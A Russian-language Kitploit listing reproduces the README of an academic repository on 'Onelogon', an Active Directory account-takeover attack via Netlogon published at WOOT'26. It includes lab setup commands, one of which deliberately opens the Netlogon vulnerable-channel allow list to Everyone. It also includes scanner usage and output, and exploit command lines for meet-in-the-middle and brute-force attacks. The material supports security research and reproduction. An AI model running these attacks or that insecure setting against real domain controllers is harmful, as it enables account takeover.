Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
onelogon — Код и данные для нашей статьи «Onelogon: Taking over Active Directory Accounts via Netlogon» (WOOT’26). | Kitploit
Инструменты/GitHubGitHub/rub-softsec/onelogon
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеАутентификацияСтатьи и Исследования
GitHubrub-softsec/onelogon

onelogon

Код и данные для нашей статьи «Onelogon: Taking over Active Directory Accounts via Netlogon» (WOOT’26).

Репозиторий
11821828 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Onelogon: захват учетных записей Active Directory через Netlogon

Этот репозиторий содержит код и данные, сопровождающие нашу статью Onelogon: захват учетных записей Active Directory через Netlogon (WOOT'26).

  1. Контекст
  2. Как цитировать
  3. Структура и настройка артефакта
  4. Настройка тестового окружения
  5. Поиск уязвимых конфигураций
  6. Эксплуатация
  7. Воспроизведение измерений

Контекст

Уязвимость, описанная в нашей статье, атакует слабое место в криптографическом исправлении 2020 года для уязвимости Zerologon. Учетные записи, перечисленные в групповой политике, предназначенной для обеспечения поддержки устаревших конфигураций, не поддерживающих подпись и шифрование Netlogon, уязвимы для этой атаки. Подробное описание уязвимости, ожидаемая полная цепочка атаки и возможные меры смягчения приведены в статье.

Как цитировать

@inproceedings{woot2026-onelogon,
  title     = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
  author    = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
  booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
  date      = {2026-08},
  editor    = {Bianchi, Antonio and Classen, Jiska},
  location  = {Baltimore, MD, USA},
  publisher = {USENIX Association}
}

Структура и настройка артефакта

Артефакт представляет собой Python-проект на базе poetry для сканера и эксплойтов.

Чтобы запустить скрипты, предоставляемые с артефактом, установите Python (3.12 или новее) и либо poetry (инструкции), либо uv (инструкции). Для простоты мы приводим команды в предположении, что вы используете poetry; если вы выберете uv, просто замените все упоминания poetry на uv.

Все команды из этого документа следует выполнять в корневом каталоге артефакта (там, где находится этот README).

Если вы используете poetry, выполните poetry install для установки всех зависимостей.

Настройка тестового окружения

Чтобы воспроизвести результаты статьи, вы можете развернуть контроллер домена с использованием версии Windows Server, в которой исправлен Zerologon (мы проверили эксплойт как для версии 2019, так и для версии 2025).

Чтобы настроить контроллер домена в новой установке Windows Server 2025, выполните следующие команды:

# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart

# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"

# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true

Уязвимость применима к любой учетной записи, перечисленной в DACL в объекте групповой политики Domain Controller: Allow vulnerable Netlogon secure channel connections или в соответствующем разделе реестра:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList

Вы можете настроить эти параметры вручную на контроллере домена (не забудьте выполнить gpupdate /force, если вы обновляете запись GPO), или выполнить следующую команду, чтобы добавить все учетные записи в DACL в разделе реестра:

Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
                    -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
                    -ValueName "VulnerableChannelAllowList" `
                    -Type String `
                    -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone

Поиск уязвимых конфигураций

Чтобы определить, какие учетные записи контроллер домена перечисляет в своем VulnerableChannelAllowList, мы предоставляем сканер, который анализирует куст реестра и общую папку тома GPO контроллера домена. Обратите внимание, что доступ к реестру для этого сканирования требует прав администратора домена (эксплойт, разумеется, не требует).

# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>

# Specify `--help` to get additional usage instructions.
poetry run scan --help

Положительный результат сканирования (на контроллере домена есть уязвимые учетные записи) отразит дескриптор безопасности, содержащий уязвимые учетные записи (в языке описания дескрипторов безопасности Microsoft):

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
    'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
    O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)

Отрицательный результат (целевой DC не уязвим) вместо этого будет выглядеть так:

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
    - The system cannot find the file specified.

Эксплуатация

Чтобы запустить эксплойт proof-of-concept против целевого контроллера домена, сначала выберите уязвимую учетную запись. Вам понадобятся IP-адрес контроллера домена, его имя узла и имя уязвимой учетной записи.

В нашей примерной настройке уязвимый контроллер домена называется DC. Его учетная запись компьютера (DC$) включена в политику GPO и поэтому уязвима к Onelogon.

# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>

# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>
Вывод успешной эксплуатации

В качестве иллюстрации мы приводим вывод успешного запуска атаки встречи посередине против тестового окружения:

Скачать инструмент